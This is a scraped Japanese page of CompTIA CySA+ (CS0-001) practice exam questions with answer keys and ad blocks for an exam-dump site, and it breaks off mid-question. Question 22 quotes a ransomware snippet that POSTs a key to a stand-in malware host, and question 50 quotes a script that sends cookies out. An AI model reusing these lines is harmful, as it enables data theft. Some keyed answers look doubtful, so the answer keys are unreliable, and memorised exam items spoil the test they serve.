

CompTIA.CS0-001.v2019-08-15.q173

試験コード : CS0-001
試験名称 : CompTIA Cybersecurity Analyst (CySA+) Certification Exam
認証ベンダー : CompTIA
無料問題の数 : 173
バージョン : v2019-08-15
ページの閲覧量 : 1829
問題集の閲覧量 : 49019

<https://www.jpnshiken.com/shiken/CompTIA.CS0-001.v2019-08-15.q173.html>

質問: 1

セキュリティ管理者が、侵入先の企業Webサーバを介して内部データベースサーバから機密データを漏洩させるのに使用される秘密チャネルを発見しました。継続的な抽出は、データベースから抽出された少量のデータをWebサーバーが提供する画像のメタデータに埋め込むことによって行われます。ファイルのタイムスタンプは、サーバーが当初6か月前に一般的なサーバーの誤った設定を使用して侵害されたことを示唆しています。次のうちどれが使用されている脅威の種類を説明しますか？

- A. APT
- B. XSS
- C. 中間者攻撃
- D. ゼロデイ攻撃

正解: A ([コメントを發表する](#))

質問: 2

セキュリティアナリストがActive Directoryのレビューを実行していて、経理部門で2つの新しいユーザーアカウントを発見しました。どちらのユーザーも昇格した権限を持っていませんが、グループ内のアカウントには、既定で会社の重要な財務管理アプリケーションへのアクセス権が与えられています。次のうちどれが最善の行動方針ですか？

- A. ユーザーアカウントを無効にします
- B. インシデント対応計画に従って新規アカウントを導入する
- C. アプリケーションからのアウトバウンドトラフィックのデータ流出の兆候を監視します。
- D. 機密アプリケーションに対するアカウントのアクセス権限を削除します
- E. アカウントが有効であることを確認し、ロールベースのアクセス許可が適切であることを確認します

正解: E ([コメントを發表する](#))

質問: 3

サイバーセキュリティアナリストがWebサーバー上のApacheログを調べているところ、いくつかのログが欠落していることを発見しました。

アナリストは、システム管理者が誤っていくつかのログファイルを削除したことを確認しました。この事件が再発するのを防ぐために、次のどの行動または規則を実施すべきですか？

- A. バックアップサーバ
- B. 強制休暇
- C. 人材育成
- D. 職務分離

正解: ([正解を表示します](#))

質問: 4

未知のソフトウェアの動作をテストして観察するために分離環境を作成することは、次のようにも知られています。

- A. サンドボックス化
- B. 盗聴
- C. ハッシュ
- D. 硬化

正解: ([正解を表示します](#))

質問: 5

次のうちどれが侵入テストのためのエンゲージメントの規則の中で不可欠な要素ですか？
(2を選択)

- A. 支払条件
- B. スケジュール
- C. 業務上の理由
- D. システム管理者の一覧
- E. 権限

正解: ([正解を表示します](#))

質問: 6

システム管理者が次の出力を確認しました。

```
#nmap server.local
Nmap scan report for server.local (10.10.2.5)
Host is up (0.3452354s latency)
Not shown:997 closed ports

PORT      STATE      Service
22/tcp    open      ssh
30/tcp    open      http

#nc server.local 80
220 server.local Company SMTP server (Postfix/2.3.3)
#nc server.local 22
SSH-2.0-OpenSSH_7.1p2 Debian-2
#
```

次のうちシステム管理者は上記の出力から推測できますか？

- A. 会社の電子メールサーバーは標準外のポートを実行しています。
- B. 会社の電子メールサーバーが危険にさらされています。
- C. 同社は脆弱なSSHサーバーを運営しています。
- D. 会社のWebサーバーが危険にさらされています。

正解: **A** ([コメントを发表する](#))

説明/参照：

Explanation:

質問: 7

サイバーセキュリティアナリストは、Nmapを使用しているときに、マシン上でICMP ECHO_REQUESTを使用したいと考えています。次のうちどれがこれを達成するための正しいコマンドですか？

- A. \$ ping -PE 192.168.1.7
- B. \$ nmap --traceroute 192.168.1.7
- C. \$ nmap -PO 192.168.1.7
- D. \$ nmap -PE 192.168.1.7

正解: **D** ([コメントを发表する](#))

質問: 8

ある会社は、30日ごとにWPA2（最悪0文字のWiFiパスワード）と新しいWiFiパスワードを実装し、すべてのワイヤレスアクセスポイントでSSIDブロードキャストを無効にしました。次のうちどれを軽減しようとしているのですか？

- A. 強制認証解除
- B. レインボーテーブル
- C. SSL固定
- D. ダウングレード攻撃

正解: ([正解を表示します](#))

質問: 9

SIEMからアラートが受信されました。これは、複数のコンピュータへの感染を示しています。脅威の特性に基づいて、これらのファイルはホストベースのウイルス対策プログラムによって隔離されました。同時に、SIEMの追加の警告では、感染したコンピュータのアドレスからの複数のブロックされたURLが表示されます。URLは未分類として分類されました。ブロックされたURLのIPアドレスのドメインロケーションがチェックされ、それがロシアのISPに登録されます。次のステップのどれをNEXTにすべきですか？

- A. すべてのコンピュータで完全なウイルススキャンを実行し、Splunkを使用してアラートがSIEMで受信される直前に発生した疑わしい活動を検索します。
- B. ハニーポットとして使用するには、感染したコンピューターと同じ設定のコンピューターをDMZにインストールします。

そのホストとの間で未分類として分類されたURLを許可します。

C. 次のパスサイクルで脆弱性スキャンを実行し、発見した脆弱性にパッチを適用します。ユーザーにコンピュータを再起動させます。SIEMでユースケースを作成して、感染したコンピュータで失敗したログインを監視します。

D. ネットワークからそれらのコンピュータを削除し、ハードドライブを交換します。感染したハードドライブを調査のために送り出します。

正解: A ([コメントを發表する](#))

質問: 10

ファイアウォールのログを確認している間に、軍の請負業者のセキュリティアナリストは、特に同社の研究開発部門をターゲットとした資金が充実したグループがあることが知られている外部ドメインからの活動の急増に気付きました。過去のデータから、他の企業資産が以前にターゲットにされていたことがわかります。この証拠で最もよく説明されているもの：

A. 企業スパイ。

B. DNSの収穫

C. ゼロデイ攻撃

D. APT。

正解: D ([コメントを發表する](#))

質問: 11

組織には、Webサービスが実行されているサーバーのリモート管理を禁止するポリシーがあります。

Nmapスキャンの1つを以下に示します。

starting Nmap 4.67 (http://nmap.org) at 2011-11-03 18:32 EDT

Nmap scan report for 192.168.1.13

Host is up (0.00066s latency).

PORT	STATE	SERVICE
22/tcp	open	ssh
80/tcp	open	http
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
3306	open	mysql

MAC Address: 01:AA:FB:23:21:45

Nmap done: 1 IP address (1 host up) scanned in 4.22 seconds

組織の方針では、このサーバーで無効にする必要があるサービスはどれですか。

- A. telnet
- B. ssh
- C. MySQL
- D. rpcbind
- E. netbios-ssn

正解: ([正解を表示します](#))

質問: 12

セキュリティアナリストは、従業員が辞任を申し出る前にデータの漏洩を試みる可能性があることを懸念しています。残念ながら、同社はデータ損失防止 (DLP) システムを購入する余裕がありません。

以下の推奨事項のうち、セキュリティアナリストはデータ損失に対する徹底的な防御を提供するためにどのような注意を払うべきですか？ (3つ選択)

- A. ユーザーがワークステーションを変更するときに移動プロファイルを使用できないようにする
- B. ユーザーがワークステーションからワークステーションにデータをコピーできないようにします
- C. ユーザーがWebプロキシ経由で個人のEメールおよびファイル共有サイトにアクセスすることを禁止します。
- D. 社内のネットワークまたはVPN経由で接続されていない限り、ラップトップでインターネットにアクセスできないようにする
- E. グループポリシーを使用してフラッシュドライブがUSBポートに接続できないようにする
- F. ユーザーがコピー&ペースト機能を使用できないようにする

正解: C,D,E ([コメントを發表する](#))

質問: 13

組織のポリシーでは、1週間以内に重大度7以上の脆弱性修正が必要です。重大度が7未満のものは、30日以内に修復する必要があります。この組織はまた、セキュリティチームに、修復を実行する前に脆弱性の詳細を調査することを要求します。調査の結果、誤検出であると判断された場合、修正は実行されず、脆弱性スキャナーの設定は将来のスキャンから誤検出を除外するように更新されます。

この組織には3つのApache Webサーバーがあります。

192.168.1.20 - Apache v2.4.1

192.168.1.21 - Apache v2.4.0

192.168.1.22 - Apache v2.4.0

最近の脆弱性スキャンの結果は以下のとおりです。

Scan Host: 192.168.1.22

15-Feb-16 10:12:10.1 CDT

Vulnerability CVE-2006-5752

Cross-site scripting (XSS) vulnerability in the mod_status module of Apache server (httpd), when ExtendedStatus is enabled and a public-server-status page is used, allows remote attackers to inject arbitrary web script or HTML.

Severity: 4.3 (medium)

チームは調査を行い、Apacheからの発言を見つけます。

"Fixed in Apache HTTP server 2.4.1 and later"

セキュリティチームは次のどの行動を実行する必要がありますか？

- A. 30日以内に192.168.1.20を修正
- B. 192.168.1.22の誤検知を無視します
- C. 30日以内に192.168.1.22を修正
- D. 192.168.1.20の誤検知を調査する

正解: ([正解を表示します](#))

質問: 14

次のうちどれが直接vSphere ESXiのパッチ未適用の脆弱性によって影響を受ける可能性がありますか？

- A. 組織のモバイル機器
- B. 組織のVPN
- C. 組織の物理ルーター
- D. 組織の仮想インフラ

正解: D ([コメントを发表する](#))

質問: 15

セキュリティアナリストは、次のログに基づいてセキュリティチームが行動を取るべきであると判断しました。

Host	192.168.2.7
[00:00:01]	successful login:015 192.168.2.7: local
[00:00:02]	unsuccessful login:022 222.34.56.8: RDP 192.168.2.8
[00:00:04]	unsuccessful login:010 222.34.56.8: RDP 192.168.2.8
[00:00:06]	unsuccessful login:015 222.34.56.8: RDP 192.168.2.8
[00:00:09]	unsuccessful login:012 222.34.56.8: RDP 192.168.2.8

次のうちどれがシステムのセキュリティ姿勢を改善するために使用されるべきですか？

- A. パスワードの複雑さの要件を増やします。
- B. ファイアウォールをアップグレードします。
- C. ログインの失敗回数を制限します。

D. ログインアカウントの監査を有効にします。

正解: ([正解を表示します](#))

質問: 16

あるアナリストが、企業の金融アプリケーションサーバーに関する最近の脆弱性の報告をレビューしています。アナリストは、会社の環境にとって最も重要であると次のうちのどれを評価すべきですか。

- A. SQLインジェクション
- B. リモートコード実行
- C. バナー掴み
- D. XSSに対する感受性
- E. 古い暗号化アルゴリズムの使用

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 17

システム管理者が重要なシステムを保護しようとしています。管理者はシステムをファイアウォールの内側に配置し、強力な認証を有効にして、このシステムのすべての管理者に必須のトレーニングへの参加を要求しました。

次のBESTのどれが実装されているコントロールを説明しますか？

- A. 監査修正
- B. 多要素認証
- C. アクセス制御
- D. 深層防御

正解: ([正解を表示します](#))

質問: 18

アドレスにPTRレコードがあると仮定して、IPアドレスをドメイン名に解決するために使用できるユーティリティはどれですか。

- A. arp
- B. ping
- C. nbtstat
- D. ifconfig

正解: ([正解を表示します](#))

質問: 19

有効なパスワードまたはPINがないことが一般的な脆弱性であると考えているのは、次の組織上のリソースのうちどれですか？

- A. VDIシステム
- B. エンタープライズサーバOs
- C. VoIP電話
- D. VPN
- E. 携帯端末

正解: ([正解を表示します](#))

質問: 20

次のステークホルダーのうちどれが、製造部門内で進行中のケースについてセキュリティオフィスが受信した電子情報開示通知を知っておく必要があるでしょうか。

- A. 人事
- B. 法務
- C. 理事会
- D. マーケティング

正解: ([正解を表示します](#))

質問: 21

セキュリティアナリストが会社の次期監査の準備をしています。同社の最新の脆弱性スキャンを確認したところ、セキュリティアナリストは次の未解決の問題を発見しました。

CVE ID	CVSS Base	Name
CVE-1999-0524	1.0	ICMP timestamp request remote date disclosure
CVE-1999-0497	6.0	Anonymous FTP enabled
None	7.5	Unsupported web server detection
CVE-2005-2150	5.0	Microsoft Windows SMB service enumeration via \srvsvc

次の脆弱性のうちどれが最初に改善のために優先されるべきですか？

- A. ICMPタイムスタンプ要求遠隔日開示
- B. 匿名FTPが有効
- C. サポートされていないWebサーバーの検出
- D. \srvsvcによるMicrosoft Windows SMBサービスの列挙

正解: ([正解を表示します](#))

質問: 22

ある会社のコンピュータが最近ランサムウェアに感染しました。すべての文書を暗号化した後、マルウェアはランダムなAES-128暗号化キーと関連する一意の識別子を侵入先のリモートWebサイトに記録します。ランサムウェアのコードスニペットを以下に示します。

```
sendit = New-Object -ComObject Msxml2.XMLHTTP
sendit.open("POST", "http://www.malwaresite.com/get.php")
sendit.setRequestHeader("Content-length", $post.length)
sendit.setRequestHeader("Connection", "close")
sendit.send("key=$RANDOMKEY&uid=$RANDOMUID")
```

コードスニペットからの情報に基づいて、サイバーセキュリティの専門家が将来同じマルウェアを監視するのに最適な方法はどれですか？

- A. ゲートウェイファイアウォールでwww.malwaresite.comのIPアドレスをブロックするためのACLを書きます。
- B. www.malwaresite.comへの接続を拒否するように会社のプロキシサーバーを設定します。
- C. IDSカスタムシグネチャを使用してwww.malwaresite.comへの接続に関するアラートを作成します。
- D. 企業のウイルス対策ソフトウェアを再設定して、より頻繁にクライアントをプッシュするようにします。

正解: ([正解を表示します](#))

質問: 23

Nessus内でデータ相関の力を活用するために、サイバーセキュリティアナリストは、ネットワーク上にどれだけの脆弱性が存在しているかを示すSQLステートメントを記述する必要があります。

次のような出力表があるとします。

ScanDate	IP	Port	PluginID
2015-06-01	192.168.1.224	System (3306/tcp)	1000
2015-09-01	192.168.1.224	System (3306/tcp)	1000
2016-01-01	192.168.1.224	System (3306/tcp)	1000

次のSQLステートメントのどれがこの相関に必要な結果の出力を提供するでしょうか？

- A. SELECT Port、ScanDate、IP、MyResultsのプラグインWHERE PluginID = '1000'
- B. MyResultsからScanDate、IP、Port、Pluginを選択しますWHERE PluginID = '1000'
- C. SELECT ScanDate、IP、ポート、プラグインSET MyResults WHERE PluginID = '1000'
- D. MyResultsからIP、ポート、プラグイン、スキャン日付を選択SET PluginID = '1000'

正解: ([正解を表示します](#))

質問: 24

アナリストは、すべてのApacheサーバーで技術的なセキュリティコンプライアンスチェックを準備しています。次のうちどれを使用するのが最善でしょうか？

- A. だらしない
- B. ナギオス

C. OWASP

D. カイン&アベル

E. CISベンチマーク

正解: ([正解を表示します](#))

質問: 25

ヘルプデスクは、セキュリティアナリストに、複数のユーザーから報告された疑わしい電子メールに関して発生し始めている傾向について通知しました。アナリストは、次のファイルを含む invoice.zip という添付ファイルが電子メールに含まれていると判断しました。

Locky.js

xerty.ini

xerty.lib

さらに分析すると、.zip ファイルを開くと、新しいバージョンのランサムウェアがデバイスにインストールされていることがわかります。NAS のデータが感染した機器によって暗号化されるのを防ぐために、最初に行うべきことはどれですか？

A. 会社の VPN へのアクセスを無効にします。

B. 請求書の添付ファイルを開かないように指示する電子メールの従業員。

C. ファイル共有のアクセス許可を読み取り専用に変更します。

D. 会社の Web プロキシフィルタに .js ファイルに含まれている URL を追加します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 26

セキュリティアナリストが、新しいフォレンジックワークステーションとワークスペースへのアクセスを保護するための推奨事項を作成しています。アナリストがフォレンジックデータへのアクセスを保護するために推奨するセキュリティ対策はどれですか？

A. 多要素認証

偏光レンズ保護

物理的ワークスペースの分離

B. セキュア ID トークン

少なくとも年 1 回、システムのセキュリティレビュー

偏光レンズ保護

C. 建物への二要素認証

職務分離

警告サインがはっきり見える

D. すべてのアクセスエリアで明るい稲妻

少なくとも年 1 回、システムのセキュリティレビュー

多要素認証

正解: ([正解を表示します](#))

質問: 27

侵害からの相関データは、組織をすべての妥協の指標の共通点として示しているため、法執行機関は企業の弁護士に連絡しました。ある従業員が、弁護士と法執行機関の会話を聞き取り、それについてのコメントをソーシャルメディアに投稿します。それからメディアは、その違反について他の従業員と連絡を取り始めます。違反に関する情報がそれ以上開示されないようにするには、次のうちどれを実行する必要がありますか。

- A. 従業員によるソーシャルメディアへのアクセスを一時的に無効にします
- B. すべての従業員に、違反についてNDAに口頭でコミットするように要求します。
- C. 法執行機関に従業員と面会させる。
- D. インシデントコミュニケーションに関するセキュリティ意識のトレーニングを実施します。

正解: ([正解を表示します](#))

質問: 28

次のポリシーのどれがデータ所有権ポリシーの目的を最もよく説明していますか？

- A. ポリシーは、規制上またはビジネス上のニーズに基づいて情報タイプを保持するためのプロトコルを確立する必要があります。
- B. ポリシーは、承認されたユーザーが適切なデータにアクセスするための組織のアカウント管理を概説する必要があります。
- C. このポリシーは、企業ネットワークまたはインターネット上のデータにアクセスするためにユーザーが従う必要がある慣行を文書化する必要があります。
- D. ポリシーは、ユーザーと管理者間の役割と責任、および特定のデータタイプの管理について説明する必要があります。

正解: ([正解を表示します](#))

質問: 29

物流会社の脆弱性スキャンにより、DMZ内のインターネットに接続されているデバイスに存在する次の脆弱性が確認されています。

使用頻度の低いWebサーバーへのSQLインジェクション。ベンダーにファイルを提供します。

プロモーション情報を含むWebサイトではSSL / TLSは使用されません

このスキャンでは、内部リソースに次の脆弱性も示されています。

人事管理システムのテストサーバーでのMicrosoft Officeリモートコード実行

開発ネットワーク内のサーバーのTLSダウングレードの脆弱性

リスクの順番で、最初に修正されるべきものはどれですか？

- A. SSL / TLSは使用されていません
- B. TLSダウングレード
- C. SQLインジェクション
- D. Microsoft Officeのリモートでコードが実行される

正解: ([正解を表示します](#))

質問: 30

次のスキャンのパケットキャプチャを考えます。

```
nmap -sX 192.168.1.55 -p22,80,445
45 33.105540 192.168.1.115 192.168.1.55 TCP 54 39007 -> 80 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
46 33.106599 192.168.1.115 192.168.1.55 TCP 54 39007 -> 445 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
47 33.107672 192.168.1.115 192.168.1.55 TCP 54 39007 -> 22 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
48 33.108730 192.168.1.55 192.168.1.115 TCP 54 445 -> 39007 [RST, ACK] Seq=1 Ack=2 Urg=0 Len=0
49 33.108972 192.168.1.55 192.168.1.115 TCP 54 22 -> 39007 [RST, ACK] Seq=1 Ack=2 Urg=0 Len=0
50 34.207377 192.168.1.115 192.168.1.55 TCP 54 39008 -> 80 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
```

次のうちどれがスキャンの出力から推測される可能性が最も高いですか？

- A. 192.168.1.55はファイルサーバーです。
- B. 192.168.1.115はウェブサーバーをホストしています。
- C. 192.168.1.55はLinuxサーバーです。
- D. 192.168.1.55はウェブサーバーをホストしています。

正解: ([正解を表示します](#))

質問: 31

セキュリティ問題は、Windowsドメインコントローラからの異常な動作に気付いた後に作成されました。

サーバー管理者は、ユーザーが昇格したアクセス許可でサーバーにログインしたことを発見しましたが、そのユーザーのアカウントは標準の会社名の命名規則に従っていません。管理者グループには、この命名規則に従わないアカウントが他にもいくつかあります。次のうちどれがこの動作とBEST修復ステップの考えられる原因ですか？

- A. 命名規則は多すぎるバリエーションを許容します、そして、アカウント命名規則は組織の方針を強制するために更新であるべきです。
- B. サーバー管理者が誤ったユーザーIDを複製するユーザーアカウントを作成しました。そのアカウントは管理者から削除され、従業員グループに配置される必要があります。
- C. サーバーは危険にさらされているため、ネットワークから削除し、ネットワークに再導入する前にクリーニングする必要があります。
- D. Windows Active Directoryドメインコントローラは同期を完了していないため、ドメインコントローラを強制的に同期させる必要があります。

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 32

セキュリティアナリストは、アウトバウンドSFTPプロセスが過去数日間の同じ時刻に発生していることを発見しました。これが発見された時点で、大量のビジネスクリティカルなデータが配信されていました。このプロセスの認証は、適切な資格情報を持つサービスアカウントを使用して行われました。

セキュリティアナリストは、この転送の宛先IPを調査し、この新しいプロセスが変更管理ログに記録されていないことを発見しました。アナリストがとるべき最良の行動方針は次のうちどれですか。

- A. クラウドプロバイダとSLAを確認します。
- B. 脆弱性スキャンを実行します。
- C. ユーザーの権限を確認してください。
- D. 潜在的なインシデントを調査してください。

正解: ([正解を表示します](#))

質問: 33

次のうちどれが仮想マシンのホストOSとしてWindowsを使用する場合の脆弱性ですか？

- A. Windowsは頻繁に修正プログラムを適用する必要があります。
- B. Windowsは動作するために何百もの開いたファイアウォールポートを必要とします。
- C. 通常、Windows仮想化環境は不安定です。
- D. Windowsは "ping of death" に対して脆弱です。

正解: ([正解を表示します](#))

質問: 34

サイバーセキュリティアナリストは、30のネットワーク資産のハードウェアアドレスを発見するよう依頼されました。コマンドラインから、ARPスキャンを提供し、タスクを達成するための最も効率的な方法を反映するために使用されるツールはどれですか。

- A. nmap
- B. tracert
- C. ping -a
- D. nslookup

正解: ([正解を表示します](#))

説明/参照 :

参照 <https://serverfault.com/questions/10590/how-to-get-a-list-of-all-ip-addresses-and-ideally-a-lan>のデバイス名

質問: 35

サイバーセキュリティアナリストが組織の脆弱性レポートを完成させており、それに資産を正確に反映させたいと考えています。次の項目のどれがレポートに含まれるべきですか？

- A. プロセッサ使用率
- B. 仮想ホスト

- C. 組織統治
- D. ログ処理
- E. 資産の分離

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 36

ある企業は、3つのビジネスアプリケーションをさまざまなアウトソースクラウドプロバイダに移動することを決定しました。アプリケーションを移動した後、ユーザーはアプリケーションのタイムアウトが速すぎると報告し、1日を通してさまざまなWebベースのアプリケーションにログインし直すのに時間がかかりすぎる。セキュリティの姿勢を低下させることなく、エンドユーザーエクスペリエンスを向上させるためにセキュリティ設計者が推奨するものはどれですか。

- A. セルフサービスアカウント管理用のユーザーアカウントを構成します。
- B. ユーザーの資格情報をキャッシュするようにWebブラウザを設定します。
- C. アカウントを管理するためにフェデレーションプロバイダでディレクトリサービスを構成します。
- D. デフォルトのシステムロックアウト期間を延長するためのグループポリシーを作成します。

正解: ([正解を表示します](#))

質問: 37

外部ユーザーは、Webアプリケーションが低速であり、情報を送信しようとする頻りにタイムアウトすると報告しています。次のソフトウェア開発のベストプラクティスのうちどれがこの問題の防止に役立ちましたか？

- A. ストレステスト
- B. 回帰テスト
- C. 入力検証
- D. あいまい

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 38

脅威インテリジェンスアナリストが検索エンジンの危殆化の指標を調査している間、Webプロキシは同じ指標に関するアラートを生成しました。脅威インテリジェンスアナリストは、関連サイトは訪問されなかったが検索エンジンで検索されたと述べています。次のうちどれがこのような状況で起こった可能性がありますか？

- A. アナリストは標準の承認済みブラウザを使用していません。
- B. アナリストは誤って指標に関連したリンクをクリックしました。
- C. アナリストは使用中のブラウザでプリフェッチを有効にしています。

D. アナリストの検索とは無関係のアラート。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 39

次の原則のどれがセキュリティアナリストがインシデントの間にどのようにコミュニケーションをとるべきかについて説明しますか？

- A. コミュニケーションは警備員だけに限定されるべきです。
- B. コミュニケーションは法執行機関からのものであるべきです。
- C. コミュニケーションは経営陣だけに制限されるべきです。
- D. コミュニケーションは信頼できる当事者だけに限定されるべきです。

正解: ([正解を表示します](#))

質問: 40

アナリストは、プロセッサとメモリの消費量が多いPCのトラブルシューティングを行っています。

調査の結果、システム上で次のプロセスが実行されていることが判明しました。

lsass.exe

▪

csrss.exe

▪

wordpad.exe

▪

notepad.exe

▪

アナリストは不正なプロセスを判断するために次のツールのうちどれを利用すべきですか？

- A. Netstatを使用してください。
- B. Nessusを使います。
- C. grepto検索を使用します。
- D. ping 127.0.0.1。

正解: ([正解を表示します](#))

質問: 41

複数のWikiサイトをホストしているWebサーバーについて、脆弱性スキャンにより以下の結果が返されました。

Apache-HTTPD-cve-2014-0231 :Apache HTTPD mod_cgidのサービス拒否CVE-2014-0231

mod_cgidに存在する欠陥のために、CGIスクリプトをホストするためにmod_cgidを使用しているサーバーは、非標準入力の弱点を悪用してプロセスを無期限にハングさせるリモート攻撃者によって引き起こされるDoS攻撃に対して脆弱です。

192.68.7.35:80	Running HTTP service product HTTPD exists: Apache HTTPD 2.2.22 Vulnerable version of product HTTPD found: Apache HTTPD 2.2.22
192.68.7.35:443	Running HTTPS service product HTTPD exists: Apache HTTPD 2.2.22 Vulnerable version of product HTTPD found: Apache HTTPD 2.2.22

セキュリティアナリストは、サーバがウィキサイト用の標準CGIスクリプトをホストし、mod_cgidがインストールされておらず、Apache 2.2.22を実行しており、WAFの背後にはないことを確認しました。サーバはDMZ内にあり、サーバの目的は顧客が公にアクセス可能なデータベースにエントリーを追加できるようにすることです。

次のうちどれがこの発見に取り組むための最も効率的な方法でしょうか？

- A. 検出結果を誤検知として記録します。
- B. HTTPサービスを無効にし、サーバへのアクセスにHTTPSのみを使用します。
- C. 最新バージョンのApacheにアップグレードしてください。
- D. DoS攻撃を防ぐため、サーバをWAFの背後に配置します。

正解: A ([コメントを发表する](#))

質問: 42

技術者が集中的な脆弱性スキャンを実行して、どのポートが悪用される可能性があるかを検出します。スキャン中は、いくつかのネットワークサービスが無効になり、運用に影響があります。どのネットワークサービスが中断されたかを評価するために使用されるのは、次のうちどれですか。

- A. syslog
- B. ネットワークマッピング
- C. ファイアウォールログ
- D. NIDS

正解: A ([コメントを发表する](#))

説明/参照 :

Explanation:

質問: 43

最近のセキュリティ侵害に続いて、この侵害の背後にある要因を分析するために事後分析が行われました。サイバーセキュリティ分析では、特定の利害関係者に合わせて調整された現在のイベントと新たな脅威ベクトルに基づいて、潜在的な影響、軽減、および修正を検討しました。次のうちどれがこれと見なされますか？

- A. 脅威インテリジェンス
- B. 脅威情報
- C. 高度な持続的脅威
- D. 脅威データ

正解: A ([コメントを发表する](#))

質問: 44

プロジェクトリーダーは、組織の内部および外部ネットワークインフラストラクチャの潜在的な弱点を特定することに焦点を当てた、今後のプロジェクトの作業明細書を検討しています。プロジェクトの一環として、外部の請負業者のチームが組織に対してさまざまな攻撃を仕掛けようとします。この作業明細書は、特に、インフラストラクチャにおける論理図表示の弱点を開発するための試みにおいて、ネットワークリソースを調査するための自動化ツールの利用に対処している。

作業明細書に記載されている活動の範囲は、以下の例です。

- A. 侵入テスト
- B. ソーシャルエンジニアリング
- C. 脆弱性スキャン
- D. Friendly DoS
- E. セッションハイジャック

正解: **A** ([コメントを發表する](#))

質問: 45

PHIの保存に関する規制遵守の目的を達成するためには、脆弱性スキャンを継続的に実施する必要があります。最後に完了したネットワークのスキャンで5,682件の脆弱性が報告されています。最高情報責任者 (CIO)は、すべての既知の問題を解決するための修復計画を立てたいと考えています。次のうちどれが続行するための最良の方法ですか？

- A. 誤検知と例外をすべて識別してから、残りのすべての項目を解決します。
- B. 現在の脆弱性のリストが解決されるまで、追加のスキャンを延期します。
- C. PHIを処理する資産をサンドボックス環境に配置してから、すべての脆弱性を解決します。
- D. 資産インベントリで重要と判断されたアイテムにスキャンを減らし、最初にこれらの問題を解決します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 46

セキュリティアナリストは、特定のサーバーがその月の間に1TBを超える帯域幅を消費したことに気付きました。ポート3333が開いています。ただし、サーバーまたはその活動に関するアラートや通知はありません。アナリストは次のうちどれを発見しましたか。

- A. APT
- B. DDoS
- C. 誤検知
- D. ゼロデイ

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 47

次のベストプラクティスのうちどれが、既知の外部ソースからの侵入テストに対して脆弱である可能性があるネットワーク内の領域を識別するために使用されますか？

- A. 青いチームトレーニング演習
- B. 技術管理レビュー
- C. ホワイトチームのトレーニング演習
- D. 運用管理レビュー

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 48

ある組織がWebサーバーを強化したいと考えています。この目標の一部として、リーダーシップは脆弱性スキャンが実行されるように指示しました、そしてセキュリティチームは業界のベストプラクティスに従ってサーバを修正すべきです。チームはすでに脆弱性スキャナーを選択し、必要なスキャンを実行しました。そして今、チームは修正を優先する必要があります。次のうちどれが業界のベストプラクティスに従って修復の脆弱性を優先するのに役立ちますか？

- A. ITIL
- B. OpenVAS
- C. CVSS
- D. SLA
- E. Qualys

正解: C ([コメントを發表する](#))

質問: 49

ある組織が、そのWebサーバーに関連する脆弱性を修正したいと考えています。最初の脆弱性スキャンが実行され、アナリストが結果を確認しています。修正を開始する前に、アナリストは、実際の脆弱性ではない問題に時間を費やすことを避けるために、誤検知を取り除きたいと考えています。

次のうちどれが偽陽性の可能性があるの指標でしょうか？

- A. スキャン結果のバージョンが自動資産インベントリと異なります。
- B. 'HTTPS'エントリはWebページが安全に暗号化されていることを示します。

C. 低」と表示されている項目は情報提供のみを目的としています。

D. 報告によると、調査結果は情報提供を目的としています。

正解: ([正解を表示します](#))

質問: 50

次のコードがあるとします。

```
<SCRIPT type="text/javascript">
var adr = "../evil.php?breadmonster="+escape{document.cookie};
var query = "SELECT * FROM users WHERE name='smith';
</SCRIPT>
```

上記の例では、次の種類の攻撃のうちどれが発生していますか？

A. MITM

B. XSS

C. セッションハイジャック

D. SQLインジェクション

E. 権限昇格

正解: ([正解を表示します](#))

質問: 51

サイバーセキュリティの専門家がURLを入力し、電子商取引アプリケーションの管理者パネルにアクセスしたところ、デフォルトのパスワードでWebにアクセスできます。次のうちどれがこの脆弱性を修正するための最も安全な解決策ですか？

A. URLをわかりにくい名前に変更し、すべての企業IPブロックをホワイトリストに登録します。2要素認証が必要です。

B. デフォルトのパスワードを変更し、特定の送信元IPアドレスをホワイトリストに追加し、2要素認証を要求します。

C. すべての企業IPブロックをホワイトリストに登録し、既定のパスワードには英数字のパスワードを要求し、2要素認証を要求します。

D. ユーザー名とデフォルトのパスワードを変更し、特定の送信元IPアドレスをホワイトリストに追加して、2要素認証を要求します。

正解: ([正解を表示します](#))

説明/参照：

Explanation:

質問: 52

Nessusとのデータ関連のパワーを活用するために、サイバーセキュリティアナリストはまずスキャン結果のテーブルを作成できなければなりません。

次のコードの断片があるとします。

```
CREATE TABLE MyResults ( ID INT AUTO_INCREMENT, IP TEXT, Port Text, PluginID INT,
Type TEXT, Description TEXT, PRIMARY KEY ID (ID) );
```

次のうちどれが正しいでしょうか。

A :

